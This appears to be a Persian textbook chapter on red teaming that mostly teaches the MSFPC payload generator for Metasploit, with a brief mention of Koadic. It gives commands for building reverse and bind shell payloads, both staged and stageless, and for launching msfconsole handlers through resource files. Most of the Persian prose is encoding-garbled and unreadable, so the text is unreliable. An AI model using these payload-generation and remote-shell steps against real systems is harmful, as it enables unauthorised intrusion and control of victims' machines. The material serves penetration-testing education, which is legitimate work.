ٗٞضز اؾشلبزٟ زض يي كؼبٓيز سيٖ ١بی  . زضحبٓز ًٔي ضٝاّقٞز ٗيؾبظی  ديبزٟ ١بی لاظٕ احشيبٌ حلظ
 ( ٛكبٙ زازٟ قسٟ اؾز.1-3زضهبٓت چطذ٠ قٌْ ) هطٗع

 
 هَسد استفادُ دس يه فؼاليت تين لشهضّاي  ( سٍال1-3ضىل )

 ث٠ قٞز سب ضؾيسٙ ٗي يبكز١سف،  زض ٗٞضز اَلاػبر ػسيسیثرف ٠ً  اؾبؾبً ثطای ١ط چطذ٠ايٚ 
 .قٞز ٗي سٌطاضس ٢ٛبيي ٗوه

 ّا تفاٍت 2-3-1
سطی اظ ؾبذشبض سيٖ  سط ث٠ ايٚ ؾبذشبض ِٛب١ي زاقش٠ ثبقيٖ سب سهٞيط ٝايح حبّ ثيبييس ثب زيسی ٗشلبٝر

( ٛكبٙ زازٟ قسٟ 1-4) زض قٌْهطٗع ايؼبز ُطزز. ق٘بيي ًٔي اظ ٗحْ اؾشوطاض ٝ ؾبذشبض سيٖ هطٗع 
 اؾز.
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 اس ٍ ساختاس تين لشهض( ضوايي ولي اص هحل استمش1-4ضىل )

ای ثطای ضؾيسٙ ث٠ ا١ساف  ًٜيس ٠ً سيٖ هطٗع اظ ١ط ٝؾي٠ٔ ( ٗكب١سٟ ٗي1-4ثب ِٛب١ي ث٠ ٛ٘ٞزاض قٌْ )
نٞضر ظيط  ٛلٞش ضا ث٠ سٞاٙ سلبٝر ػ٘سٟ ثيٚ ػ٘ٔيبر سيٖ هطٗع ٝ آظٗبيف ًٜس. ٗي ذٞز اؾشلبزٟ ٗي

 ذلان٠ ًطز:

 ١بيي اؾز ٠ً زض ػ٢ز  دصيطی ضی اظ آؾيتثطزا سيٖ هطٗع، س٢ٜب قبْٗ يبكشٚ ٝ ث٢طٟ ؾبظًٝبض
ثطزاضی اظ  ٛلٞش، قبْٗ يبكشٚ ٝ ث٢طٟ ٠ً آظٗبيف ًٜٜس، زضحبٓي زؾشيبثي ث٠ ا١ساف ٗطث٠َٞ ً٘ي ٗي

 ثبقس. ١بی زيؼيشبّ ٗي ١ب زض ٗحسٝزٟ ٗؼيٚ اؾز ٠ً ٗحسٝز ث٠ زاضايي دصيطی آؾيت
 ٛلٞش ٗؼ٘ٞلاً  ٠ً آظٗبيف ضحبٓيًٜس، ز ١بی هبثْ اٛؼُبكي اؾشلبزٟ ٗي سيٖ هطٗع، اظ ضٝـ ؾبظًٝبض

 ثبقس. ١بی طبثز ٗي زاضای ضٝـ
 ٖ٠ً زض  ١ب ١يچ اَلاػي اظ آٙ ٛساضٛس، زضحبٓي ١بی اٜٗيشي ؾبظٗبٙ زض ظٗبٙ كؼبٓيز سيٖ هطٗع، سي

 قٞز. ١بی اٜٗيشي اَلاع زازٟ ٗي ٛلٞش، ث٠ سيٖ ظٗبٙ اٛؼبٕ ػ٘ٔيبر آظٗبيف
 ٠ً  ضٝظ ضخ ز١ٜس، زضحبٓي ؾبػز قجب٠ٛ 24سٞاٜٛس ١لز ضٝظ ١لش٠ ٝ  ح٘لار سيٖ هطٗع، ٗي

 قٞٛس. ٛلٞش ػ٘سسبً ث٠ ؾبػبر ازاضی ٗحسٝز ٗي ١بی آظٗبيف كؼبٓيز
 ٟدطزاظز،  ًٝبض ٗي ١ب زض ًؿت دصيطی ُيطی سأطيط آؾيت سيٖ هطٗع ثيكشط ث٠ ثطضؾي اٛساظ

 ١ب س٘طًع زاضز. دصيطی ثطزاضی اظ آؾيت ٛلٞش زض ٗٞضز يبكشٚ ٝ ث٢طٟ ٠ً آظٗبيف زضحبٓي
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، Metasploit Frameworkزاٛيس، زض چٜس ؾبّ ُصقش٠، اظ اثعاض١بيي ٗبٜٛس  َٞض ٠ً ٗي ١٘بٙ
routersploit ،LinuxEnum.sh ،nmap ٟثطزاضی ٝ دٞيف اؾشلبزٟ  ٝ ؿيطٟ ثطای ٗطاحْ دؽ اظ ث٢ط

اثعاض١بی ػسيس قسٟ اؾز. ثب ٗحجٞثيز ضٝظاكعٝٙ اثعاض١بی ػسيس، ذٞة اؾز زض ٗٞضز ثطذي اظ  ٗي
ثطزاضی اؾشلبزٟ قٞٛس، آقٜب قٞيس. اظ ٗيبٙ ثؿيبضی اظ  دؽ اظ ث٢طٟ ؾبظًٝبضسٞاٜٛس ثطای  ٠ً ٗي

ذٞا١يٖ اٛساذز. ايٚ اثعاض زض ٝاهغ يي سٞٓيسًٜٜسٟ  MSFPC1اثعاض١بی ٗٞػٞز، ِٛب١ي ث٠ اثعاض هسضسٜ٘س 
Payload  ؾبزٟ ٗجشٜي ثط ؾبذشبضMSF ثبقس. ١٘چٜيٚ اثعاض  ٗيKoadic  ٖضا ٗٞضز ثطضؾي هطاض ذٞا١ي

١ط سٞاٛس زض  اؾز، ٠ً ٗي COM( ٗجشٜي ثط ؾبذشبض C3زاز. ايٚ اثعاض، يي ؾطٝض كطٗبٛس١ي ٝ ًٜشطّ )
ثطزاضی اؾشلبزٟ قٞز. زض ايٚ كهْ ث٠  دؽ اظ ث٢طٟ ؾبظًٝبضٛلٞش ثطای  سيٖ هطٗع يب آظٗبيف  ػ٘ٔيبر

 ثطضؾي ايٚ زٝ اثعاض ًبضآٗس ذٞا١يٖ دطزاذز.

 ت فٌيالضاها 1-2
ػبْٗ ٗجشٜي ثط يٞٛيٌؽ ٛيبظ  ث٠ يي ؾيؿشٖ MSFPC  ٝKoadicزضحبٓز ًٔي ثطای اؾشلبزٟ اظ زٝ اثعاض 

اؾشلبزٟ ًٜيس.  macOS Xٝ يب  Kali ،Ubuntuقٞز زض ايٚ ذهٞل اظ  ذٞا١يٖ زاقز ٠ً ديك٢ٜبز ٗي
ث٠  Koadicٝ ثطای اػطای اثعاض  Metasploitث٠ ؾٌٞی هسضسٜ٘س  ١MSFPC٘چٜيٚ ػ٢ز اػطای اثعاض 

 ٛيبظ ذٞا١يٖ زاقز. 3يب  2ٛؿر٠  Pythonاكعاضی  ثؿش٠ ٛطٕ

 MSFPCاتضاس  2-2
MSFPC ،سٞٓيسًٜٜسٟ  ييPayload سٞٓيس ثطای سٞاٛس ٗي ٠ً اؾز ًبضثطدؿٜسٝ  چٜسُب٠ٛ Payloadی ١ب

١بی اٛشربة قسٟ سٞؾٍ ًبضثط اؾشلبزٟ قٞز. ًبضثط  ٝ ثط اؾبؼ ُعي٠ٜ Metasploitٗجشٜي ثط اثعاض 
١بی ؾِٜيٚ ٛساضز. ثب Payloadثطای سٞٓيس  msfvenomٛيبظی ث٠ اػطای زؾشٞضار َٞلاٛي  زيِط

MSFPC، سٞاٛس ٗي ًبضثط Payload اثعاضزضيبكز  اظ هجْٛ٘بيس.  سٞٓيس ً٘شط ثؿيبض زؾشٞضار ثب ضا١ب ،
 ث٠، اؾز ؾبزٟ bash اؾٌطيذزًس  ييس٢ٜب  MSFPC. قٞز ٛهت ؾيؿشٖ زض ثبيس Metasploitؾٌٞی 

 ثؿش٠ سٞاٙ ٗي. ١٘چٜيٚ ًطز اػطای ٗجشٜي ثط يٞٛيٌؽ ٛهت ٝ ١ب ؾيؿشٖ زض ضا آٙ سٞاٙ ٗي ٠ً ؼٜيٗ ايٚ
MSFPC َطين آزضؼ  اظ ضاURL :ظيط ٛيع زضيبكز ًطز 

https://github.com/g0tmi1k/mpc 

سٞاٙ اظ زؾشٞض ظيط  ( ٗي2-1ػ٢ز زضيبكز اؾٌطيذز ٗصًٞض ثب ً٘ي آزضؼ اقبضٟ قسٟ ١٘بٜٛس قٌْ )
 ًطز:اؾشلبزٟ 

                                                 
1 MSFvenom Payload Creator 
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# git clone https://github.com/g0tmi1k/mpc 
 

 
 githubدسلالة سايت  MSFPC( ضوايي اص ًحَُ دسيافت اتضاس 2-1ضىل )

ايؼبز ٛ٘بييٖ ٠ً  msfpc.sh، ثبيس يي ٗؼٞظ اػطا ثط ضٝی كبيْ githubدؽ اظ زضيبكز اثعاض اظ ٗرعٙ 
 ًٜيٖ: ثطای ايٚ ٜٗظٞض اظ زؾشٞض ظيط اؾشلبزٟ ٗي

# cd mpc/ 
# chmod +x msfpc.sh 
# ./msfpc.sh 

 ( ٛكبٙ زازٟ قسٟ اؾز.2-2) زض قٌْ msfpc.sh/.كطو زؾشٞض  ق٘بيي اظ ذطٝػي ديف

 
 msfpc.sh/.فشؼ دستَس  ( ضوايي اص خشٍجي پيص2-2ضىل )

 ثبقس: كطو ايٚ اثعاض قبْٗ ٗٞاضز ظيط ٗي يبر ٗطثٌٞ ث٠ ذطٝػي ديفئػع

 TYPE :payload يچ بی ظيط ثبقس )ايٚ ُعي٠ٜ ٗبٜٛس ؾٞئ١ اظ كطٗزسٞاٛس قبْٗ ١طيي  ٗي-f  زض
 اؾز: msfvenomاثعاض 

APK [android], ASP, ASPX, Bash [.sh], Java [.jsp], Linux [.elf], OSX [.macho], Perl [.pl], 
PHP, Powershell [.ps1], Python [.py], Tomcat [.war], Windows [.exe //.dll] 
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 DOMAIN/IPي٠ٜ : اظ ايٚ ُعLHOST  ١ِٜبٕ سٞٓيسPayload ١بی دي زض دي زضmsfvenom 
 قٞز. اؾشلبزٟ ٗي

 PORT اظ ايٚ ُعي٠ٜ :LPORT  ١ِٜبٕ سٞٓيسPayload  زضmsfvenom قٞز. اؾشلبزٟ ٗي 
 CMD/MSF ٛٞػي اظ دٞؾش٠ اؾز ٠ً دؽ اظ اػطای :Payload ٟاٛساظی  ثط ضٝی ؾيؿشٖ ١سف ضا

كطٗبٙ اؾشبٛساضز   اؾشلبزٟ ًطز ٠ً ههس زاضيس يي دٞؾش٠سٞاٙ ظٗبٛي  ضا ٗي CMDقٞز. ُعي٠ٜ  ٗي
 bin/bash/ػبْٗ ٝيٜسٝظ ٝ سطٗيٜبّ  ثطای ؾيؿشٖ cmd.exe1زضيبكز ًٜيس. يؼٜي دٞؾش٠ كطٗبٙ 

٠ً اٛساظٟ  قٞز. زض ثطذي ٗٞاضز، ػبيي ٗجشٜي ثط يٞٛيٌؽ اؾشلبزٟ ٗي ١بی  ػبْٗ  ثطای ؾيؿشٖ
اؾشلبزٟ قٞز. اظ دٞؾش٠  ٠Reverse ًلاؾيي دٞؾش Payloadدٞؾش٠ ٢ٖٗ اؾز، ث٢شط اؾز اظ 

 ١ب اؾشلبزٟ ًطز. سٞاٙ زض ايٚ ٗٞهؼيز ٗي CMDكطٗبٙ 
 ًلاؾيي ؾبزٟ ايؼبز ًطز: Reverseكطٗبٙ   دٞؾش٠ Payloadثب اػطای زؾشٞض ظيط ٗي سٞاٙ يي 

# sh msfpc.sh cmd windows en0 

ًٜس ٝ زض  ػيحي ٝيٜسٝظ ايؼبز ٗيػٜٞاٙ دٞؾش٠ سط ث٠ cmdثب دٞؾش٠ كطٗبٙ  Payloadايٚ زؾشٞض يي 
ای اظ  ٛ٘بيس. ٠ٛٞ٘ٛ سٜظيٖ ٗي en0ثبظيبثي قسٟ اظ ضاثٍ اسطٛز  IPضا ضٝی آزضؼ  LHOSTازا٠ٗ 

 ( ٛكبٙ زازٟ قسٟ اؾز.2-3) زض قٌْذطٝػي زؾشٞض ٗصًٞض 

 
 هٌظَس ايجاد پَستِ فشهاى تِ msfpc.shاي اص خشٍجي اتضاس  ًوًَِ ؛(2-3ضىل )

زٝ كبيْ ضا زض ١٘بٙ زايطًشٞضی ايؼبز  MSFPCًٜيس، اثعاض  ( ٗكب١سٟ ٗي2-3) َٞض ٠ً زض قٌْ ١٘بٙ
هبثْ اػطا ٝ  Payloadثطای  windows-shell-staged-reverse-tcp-443.exeحبٓز كبيْ  ًطز. زض ايٚ

ثطای كبيْ ٜٗجغ ايؼبز قسٟ اؾز. ايٚ كبيْ  windows-shell-staged-reverse-tcp-443-exe.rcكبيْ 
 اػطا ٛظط ٗٞضز ؾطٝض زضای سٞٓيس قسٟ اؾز ٠ً  كطٕ سي ٗطح٠ٔ ػبْٗ ٝيٜسٝظ ٝ ث٠ سحز ؾيؿشٖ

 ُٝطزز  ٗي ٗشهْ ٗحٔي 443 دٞضر زض ٗؼٌٞؼ( اسهبّكطٕ  ث٠)ٛلٞشُط  ؾيؿشٖ ث٠ٝ زض ازا٠ٗ  قٞز ٗي

                                                 
1 Command Prompt 
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 ذٞا١س زازٟ سٞييح كهْ ازا٠ًٜٗس. ايٚ ٗٞاضز زض  ٛلٞشُط اضؾبّ ٗي ثطای كطٗبٙ ذٍ دٞؾش٠ ييؾذؽ 
 ايؼبز قسٟ اؾز. windows-shell-staged-reverse-tcp-443.exeبيْ ثب ٛبٕ ك ايٚ. قس

 ّاي هٌثغ فايل 1-2-2
١بی  سٞييح زازٟ قسٟ اؾز، اؾٌطيذز Metasploitَٞض ٠ً زض ٗؿشٜسار ٗطثٌٞ ث٠ اثعاض هسضسٜ٘س  ١٘بٙ

ذٞزًبض  Metasploitًٜٜس سب ًبض١بی سٌطاضی ضا زض اثعاض  ٜٗجغ ضاٟ آؾبٛي ضا ثطای ٛلٞشُطاٙ كطا١ٖ ٗي
ای  ١ب حبٝی ٗؼ٘ٞػ٠ ًٜٜس. آٙ ای ػْ٘ ٗي ١بی زؾش٠ ١ب زهيوبً ١٘بٜٛس اؾٌطيذز ٛ٘بيٜس. اظ ٛظط ٗل٢ٞٗي، آٙ

نٞضر ذٞزًبض ٝ ٗشٞآي اػطا  ث٠ Metasploitاظ زؾشٞضار ١ؿشٜس ٠ً ١ِٜبٕ ثبضُصاضی اؾٌطيذز زض 
ٝ ثب  Metasploitار ًٜؿّٞ ؾطی اظ زؾشٞض سٞاٙ يي اؾٌطيذز ٜٗجغ ضا ثب اسهبّ يي قٞٛس. ٗي ٗي

١ب، سؼبْٗ ثب اقيبء زض دبيِبٟ زازٟ ٝ APIثطای اٛؼبٕ ًبض١بيي ٗبٜٛس كطاذٞاٛي  Rubyػبؾبظی ٗؿشويٖ 
ضا زض زؾشٞض  MSFPCسٞٓيس قسٟ سٞؾٍ اؾٌطيذز  rc.سٌطاض اهساٗبر ايؼبز ٛ٘ٞز. حبّ ثيبييس كبيْ 

 هجٔي ٗٞضز ثطضؾي هطاض ز١يٖ.

 
 MSFPCايجاد ضذُ تَسظ اتضاس  rc.اي فايل ( ضوايي اص هحت2َ-4ضىل )

سٜظيٖ  windows/shell/reverse_tcpضٝی  Payloadقٞز،  اؾشلبزٟ ٗي ٠ًCMD اظ ُعي٠ٜ  ظٗبٛي
 Metasploitكطو ٠ً اظ دشبٛؿيْ ًبْٗ  ضا ثب يي دٞؾش٠ ؾٌٞی ديف Payloadٛيع  msfقٞز. ُعي٠ٜ  ٗي

 ٛ٘بيس: ًٜس ٝ اظ آٙ اؾشلبزٟ ٗي سٞٓيس ٗي

# sh msfpc.sh msf windows en0 

 
 Reverseاص ًَع  Payloadجْت ايجاد  MSFPC( ضوايي اص خشٍجي اسىشيپت 2-5ضىل )



   آصهايص ًفَر؛ دٍمفػل 

 

25 

-4ِٛبٟ ًٜيس )قٌْ  msfزض ١ِٜبٕ اؾشلبزٟ اظ ُعي٠ٜ  MSFPCسٞٓيس قسٟ اظ اؾٌطيذز  rc.اُط ث٠ كبيْ 
 MSF ُعي٠ٜ اظ٠ً  ظٗبٛيضا ٗكب١سٟ ذٞا١يس ًطز.  handlerاؾشلبزٟ قسٟ اظ ٛٞع  Payload(، سلبٝر زض 2

 ضا ٜٗجغ كبيْ. قٞز ٗي سٜظيٖ windows/meterpreter/reverse_tcp ضٝی Payload، قٞز ٗيزٟ اؾشلب
 :ًطز اػطا ظيط زؾشٞض اظ اؾشلبزٟ ثبٝ  msfconsoleً٘ي اثعاض  ثب سٞاٙ ٗي

# msfconsole -q -r 'windows-meterpreter-staged-reverse-tcp-443-exe.rc' 
قٞز. ق٘بيي اظ  ٛيع ثطای كبيْ ٜٗجغ اؾشلبزٟ ٗي r-ٝ اظ ؾٞييچ  quietثطای حبٓز  q- اظ ؾٞييچ

( ٛكبٙ 2-6) زض قٌْ msfconsoleٝ ايؼبز يي ٛكؿز ٗؼٌٞؼ اظ َطين اثعاض  rc.كطٕ  ذطٝػي كبيْ ث٠
 زازٟ قسٟ اؾز.

 
 msfconsoleس ٍ ايجاد يه ًطست هؼىَس اص عشيك اتضا rc.فشم  ( ضوايي اص خشٍجي فايل ت2ِ-6ضىل )

 ٗٞضز ؾطٝض ث٠ Payloadی ١ب ثرف ؾبيط سب ًٜس ٗي زضذٞاؾز Stager، قس اػطا Payload ٠ً ١ِٜبٗي
 ٝ قٞز ٗي اضؾبّ Payloadٗرهٞل  handler ٝؾي٠ٔ ث٠ Payloadی ١ب هؿ٘ز ايٚ. قٞز اضؾبّ ٛظط

Payload ؾبّ . ق٘بيي اظ ٗطاحْ اضقٞز ٗي زازٟ سحٞيْ هطثبٛي ث٠ ای ٗطح٠ٔكطٕ  ًبْٗ ث٠Payload  ٝ
 ( ٛكبٙ زازٟ قسٟ اؾز.2-7) زض قٌْزضيبكز ٛكؿز اظ ؾيؿشٖ هطثبٛي 

 
 ٍ دسيافت ًطست اص سيستن لشتاًي Payload( ضوايي اص هشاحل اسسال 2-7ضىل )

ي ٠ً زض ايٚ ٗظبّ اؾشلبزٟ يPayloadًٜيس،  ( ٗكب١سٟ ٗي2-7َٞض ٠ً زض قٌْ ) شًط اؾز، ١٘بٙ لاظٕ ث٠
ثبقس. سٞني٠  ٗي x64ػبْٗ هطثبٛي ٗجشٜي ثط  اؾز، اٗب ٗؼ٘بضی ؾيؿشٖ x86قسٟ اؾز، ٗجشٜي ثط 
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 Metasploitػبْٗ ُٗبثوز زاقش٠ ثبقس. زض اثعاض  ثبيس ثب ٗؼ٘بضی ٗكبث٠ ؾيؿشٖ Payloadقٞز ٠ً  ٗي
سٞاٙ اظ ٗبغّٝ ثب ؾبذشبض  ٢ٗبػطر ًطز يب ٗي x64ث٠ كطآيٜس ٗجشٜي ثط  x86سٞاٙ اظ كطآيٜس ٗجشٜي ثط  ٗي

post زض اثعاض  ظيطMetasploit  ثطای ٢ٗبػطر اظ ٗؼ٘بضیx86  ث٠x64 :اؾشلبزٟ ًطز 

post/windows/manage/archmigrate 
 BIND/REVERSE٠ً دؽ اظ اػطای  : ٛٞع اسهبٓيPayload قٞز. ثط ضٝی ؾيؿشٖ ١سف ايؼبز ٗي 
 BINDٞز.ق ًٜس ٝ ث٠ آٙ ٗشهْ ٗي : ايٚ اسهبّ دٞؾش٠ يي دٞضر ضا زض ؾطٝض ٗٞضز ٛظط ثبظ ٗي 

١بی ؾطٝض ٗٞضز ٛظط  ٝضٝزی دٞضر ،ثؿيبض ٛبزض اؾز، ظيطا هٞاٛيٚ زيٞاضآسف BINDزضيبكز اسهبّ 
 ًٜس. ضا ٗؿسٝز ٗي

# ./msfpc.sh bind msf windows en0 

ًٜس، ٠ً يي  ػبْٗ ٝيٜسٝظ ايؼبز ٗي ثطدبي٠ ؾيؿشٖ meterpreterٗجشٜي ثط  Payloadايٚ زؾشٞض يي 
 Payloadٛٞع  bindث٠ يي اسهبّ  Payloadًٜس ٝ دؽ اظ اػطای  ٗيدٞضر ضا زض ؾطٝض ٗٞضز ٛظط ثبظ 

handler زٓيْ ٝػٞز زيٞاضآسف، دٞضر ثطای اسهبّ زض زؾشطؼ ٛجبقس.  ز١س. ٌٗ٘ٚ اؾز ث٠ ُٞـ ٗي
ضا اٛشربة ًطز ٠ً ٗؼ٘ٞػ٠  ١Reverseبيي اظ ٛٞع دٞؾش٠ Payloadسٞاٙ ؾبذشبض  زض ايٚ قطايٍ، ٗي

قٞز.  ظٛس ٝ ٗؼسزاً ث٠ ؾيؿشٖ ٛلٞشُط ٗشهْ ٗي ّ ذطٝػي زٝض ٗيهٞاٛيٚ زيٞاضآسف ضا ثطای اسهب
 ( ٛكبٙ زازٟ قسٟ اؾز.2-8) زض قٌْ bindػ٢ز اسهبّ ٛٞع  msfpcق٘بيي اظ ذطٝػي اؾٌطيذز 

 
 bindجْت اتػال ًَع  msfpc( ضوايي اص خشٍجي اسىشيپت 2-8ضىل )

ضا ثطای ايٚ ٗٞضز ثطضؾي  rc.ْ ، اػبظٟ ز١يس كبيMSFPCاظ ثيٚ زٝ كبيْ سٞٓيس قسٟ سٞؾٍ اؾٌطيذز 
زض  bindػ٢ز اسهبّ ٛٞع  MSFPCايؼبز قسٟ سٞؾٍ اؾٌطيذز  rc.ًٜيٖ. ق٘بيي اظ ٗحشٞای كبيْ 

 ( ٛكبٙ زازٟ قسٟ اؾز.2-9) قٌْ
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 bindجْت اتػال ًَع  MSFPCايجاد ضذُ تَسظ اسىشيپت  rc.( ضوايي اص هحتَاي فايل 2-9ضىل )

Payloadػبی  ، ث٠reverse_tcp  ضٝی ثطwindows/meterpreter/bind_tcp قٞز ٠ً ٛكبٙ  سٜظيٖ ٗي
ثطای ثطهطاضی اضسجبٌ ثب ؾطٝض ١سف  BINDاظ يي اسهبّ  Payloadٗطثٌٞ ث٠  handlerز١س  ٗي

 ُطزز: ١بی ًٔي زضذهٞل زؾشٞض ظيط ثطضؾي ٗي ؾٞئيچًٜس. زض ازا٠ٗ  اؾشلبزٟ ٗي

# ./msfpc.sh cmd stageless bind windows en0 

 REVERSE :ٚی اػطا اظ دؽ. ًٜس ٗي ثبظؾيؿشٖ ٛلٞشُط  زض ضا دٞضر يي دٞؾش٠ اسهبّ اي
Payload ،اسهبّ. زضيبكز زؾشطؾي ٝ قٞز ٗي ٗشهْٛلٞشُط  ث٠ٗؼسزاً  ٛظط ٗٞضز ؾطٝض 

REVERSE ١بی ٝضٝزی زيٞاضآسف  ٝ ػجٞض اظ ٗؿسٝزی ظزٙ زٝض ثطای، يي ضاٟ ثؿيبض ٜٗبؾت
 ضا ضٝـ ايٚ سٞاٙ ٗي، ثبقس زاقش٠ ٝػٞز( )ذطٝػي ذطٝػي زيٞاضآسف هٞاٛيٚ اُط اٗب، اؾز

 REVERSE دٞؾش٠ اسهبّ ثب Payload، ٛٞع MSFPC، اؾٌطيذز كطو ديف َٞض ث٠. ًطز ٗؿسٝز
 .ًٜس ٗي سٞٓيسضا 

 STAGED/STAGELESS ٚاظ  ٛٞع: ايPayload  ًُيطز. اؾشلبزٟ هطاض ٗي ٗٞضزٗؼ٘ٞلا 
 STAGED :ٚٛٞع اي Payload ٗطح٠ٔيٚ چٜس زض Payload  ثبػض ٠ً، ًٜس ٗي اضؾبّٗطث٠َٞ ضا 

 ٛظط، ٗٞضز ؾطٝض ث٠ Payload handlerٗبثوي  اضؾبّ ثطای اٗب، قٞز ٗي آٟٙ اٛساظ قسٙ ًٞچٌشط
 يي، زض MSFPC، اؾٌطيذز كطو ديف َٞض ث٠. اؾز Metasploitسٞؾٍ اثعاض  ٗسيطيز ث٠ ٗشٌي

 .ًٜس ٗي سٞٓيسضا  Payloadٗطح٠ٔ 
 STAGELESS :ٚييٛٞع  اي Payload ْٗاظ ٛٞع  اؾز ًبSTAGED ،اػش٘بزسط هبثْ ٝ دبيساضسط 

 .اؾز ظيبز ثؿيبض STAGED ثب ٗوبيؿ٠ زض Payload ٛٞع ايٚ اٛساظٟ اٗباؾز، 

ًٜس. ايٚ  اػطايي كبهس ٗطح٠ٔ ٝ ٗجشٜي ثط ٝيٜسٝظ ايؼبز ٗي Payloadزؾشٞض هجٔي زض ١ِٜبٕ اػطا يي 
ز١س سب يي  ُٞـ ٗي BINDاسهبّ اظ ٛٞع  ًٜس ٝ ث٠ يي ضٝاّ يي دٞضر ضا زض ؾيؿشٖ ١سف ثبظ ٗي

( ٛكبٙ زازٟ قسٟ 2-10) زض قٌْكطٗبٙ اؾشبٛساضز زضيبكز ًٜس. ق٘بيي اظ ذطٝػي زؾشٞض هجٔي  ذٍ
 اؾز.
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 stagelessجْت اتػال ًَع  msfpc( ضوايي اص خشٍجي اسىشيپت 2-10ضىل )

ايؼبز قسٟ  rc.اظ ٗحشٞای كبيْ  سٞٓيس قسٟ اظ زؾشٞض هجٔي ضا ثطضؾي ًٜيٖ. ق٘بيي rc.حبّ ثيبييس كبيْ 
 ( ٛكبٙ زازٟ قسٟ اؾز.2-11) زض قٌْ stagelessػ٢ز اسهبّ ٛٞع  MSFPCسٞؾٍ اؾٌطيذز 

 
جْت اتػال ًَع  MSFPCايجاد ضذُ تَسظ اسىشيپت  rc.( ضوايي اص هحتَاي فايل 2-11ضىل )

stageless 

 Payloadٖ قسٟ اؾز ٠ً يي سٜظي windows/shell_bind_tcpثط ضٝی حبٓز  Payloadزض ايٚ ٗظبّ 
كطٕ  ث٠ Metasploitای زض اثعاض هسضسٜ٘س  ٗطح٠ٔ Payloadثسٝٙ ٗطح٠ٔ اؾز. يي 

windows/shell/bind_tcp  ١بی ًٔي زضذهٞل زؾشٞض ظيط ثطضؾي  ؾٞئيچذٞا١س ثٞز. زض ازا٠ٗ
 ُطزز: ٗي

# ./msfpc batch windows en0 
 TCP/HTTP/HTTPS/FIND_PORTٛ يبظ : ضٝـ اضسجبَي ٗٞضزPayload  ٌثطای ثطهطاضی اضسجب

 .Payload handlerثب 
 TCP ايٚ ؾبذشبض يي ضٝـ اضسجبَي اؾشبٛساضز، دؽ اظ اػطای :Payload  ثط ضٝی ؾطٝض ٗٞضز

ٝ هبٓت آٙ اؾشلبزٟ ًطز، اٗب  Payloadسٞاٙ ثطای ١ط ٛٞع  ٛظط اؾز. ايٚ ضٝـ اضسجبَي ضا ٗي
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آسف  قٜبؾبيي قسٟ ٝ سٞؾٍ زيٞاض١بی IDSؿشٖ ضاحشي سٞؾٍ ؾي زٓيْ ضٗعُصاضی ٛكسٙ آٙ، ث٠ ث٠
 ٝIPS قٞز. ٗؿسٝز ٗي 

 HTTP ٍاُط ايٚ ُعي٠ٜ سٞؾ :MSFPC  ،اؾشلبزٟ قٞزPayload  ٌْاظ دطٝسHTTP ػٜٞاٙ ضٝـ  ث٠
ثط ضٝی  Payloadٗؼيٚ،  TCPػبی ثطهطاضی اضسجبٌ ثط ضٝی دٞضر  ًٜس. ث٠ اضسجبَي اؾشلبزٟ ٗي

زض ؾيؿشٖ ١سف ثبظ ثبقس،  80س. اُط س٢ٜب ق٘بضٟ دٞضر ًٜ اضسجبٌ ثطهطاض ٗي 80ق٘بضٟ دٞضر 
آسف اؾشلبزٟ ًطز. ايٚ ؾبذشبض ضا  سٞاٙ اظ ايٚ ُعي٠ٜ ثطای زٝض ظزٙ ٝ ػجٞض اظ زيٞاض١بی ٗي
زٓيْ ٗب١يز  ث٠ IPSقٜبؾبيي ًطز ٝ ١٘چٜيٚ سٞؾٍ ؾيؿشٖ  IDSسٞاٙ سٞؾٍ ؾيؿشٖ  ٗي

 ضٗعُصاضی ٛكسٟ آٙ، ٗؿسٝز ٛ٘ٞز.
 HTTPSِٜبٕ سٞٓيس : ايٚ ُعي٠ٜ ١Payload  ٌ٠ً اظ اضسجبSSL قٞز.  ًبض ثطزٟ ٗي ًٜس، ث٠ اؾشلبزٟ ٗي

 قٞز. د٢ٜبٙ سٞني٠ ٗي Reverseاؾشلبزٟ اظ ايٚ ُعي٠ٜ ثطای اسهبلار ٛٞع 
 FIND_PORTقٞز ٠ً ٛشٞاٙ اسهبلار  : ايٚ ُعي٠ٜ ظٗبٛي اؾشلبزٟ ٗيReverse ١بی  ضا اظ دٞضر

 Payloadًس ، MSFPCايٚ ُعي٠ٜ سٜظيٖ قٞز، اؾٌطيذز  (. اُط21، 53، 443، 80ضايغ زضيبكز ًطز )
ضا ثطای ايؼبز اضسجبٌ ٗٞضز ثطضؾي ٝ اٗشحبٙ  ١65535بی يي سب  ًٜس ٠ً س٘بٕ دٞضر ضا سٞٓيس ٗي

 هطاض ز١س.
 BATCH/LOOP اؾٌطيذز :MSFPC سٞاٛس  ٗيPayload ١بی ٗشؼسز )ثؿش٠ ث٠ ؾ١ٌٞبی

يب  BATCHسٞاٙ ثب اؾشلبزٟ اظ حبٓز  اّ ضا ٗيػبْٗ( ضا ثب يي زؾشٞض سٞٓيس ًٜس. ايٚ ضٝ ؾيؿشٖ
 زؾز آٝضز. ث٠ LOOPحبٓز 

  حبٓزBATCH زض حبٓز :BATCH اؾٌطيذز ،MSFPC سٞاٛس چٜسيٚ  ٗيPayload ١بی  ثب سطًيت
 سٞٓيس ًٜس. Payloadٗرشٔق اظ ٛٞع 

 ( ٛكبٙ زازٟ قسٟ اؾز.2-12) زض قٌْ batchػ٢ز اسهبّ حبٓز  msfpcق٘بيي اظ ذطٝػي اؾٌطيذز 

َٞض ٠ً زض  ػبْٗ ٝيٜسٝظ )١٘بٙ ١ب ضا س٢ٜب ثطای ؾيؿشPayloadٖ، س٘بٕ سطًيجي اظ MSFPCاؾٌطيذز 
ايؼبز  rc.١بی  سٞٓيس ًطزٟ اؾز. ق٘بيي اظ ٓيؿز كبيْ (rc.)١بی ٜٗجغ ٗطث٠َٞ  ١ب شًط قس( ثب كبيْ ُعي٠ٜ

 اؾز.( ٛكبٙ زازٟ قسٟ 2-13زض قٌْ ) batchػ٢ز اسهبّ حبٓز  MSFPCقسٟ سٞؾٍ اؾٌطيذز 

  حبٓزLOOPسٞاٛس چٜسيٚ  : ايٚ حبٓز ٗيPayload  ٚضا اظ ٠٘١ ٛٞع سٞٓيس ًٜس. ١٘چٜيMSFPC 
ٗؼيٚ، سٞٓيس ًٜس. ايٚ ؾبظًٝبض  ١LHOSTبی سٞٓيسٟ قسٟ ضا ثطای يي Payloadسٞاٛس س٘بٕ  ٗي
ػبْٗ ١سف ٝػٞز ٛساضز، ٗليس ثبقس.  سٞاٛس زض ٗحيُي ٠ً زاٛف زهيوي اظ ؾٌٞی ؾيؿشٖ ٗي

Payload سٞاٙ ثب زؾشٞض ظيط سٞٓيس ٛ٘ٞز: ضا ٗي١ب 
# ./msfpc.sh loop 192.168.10.122 

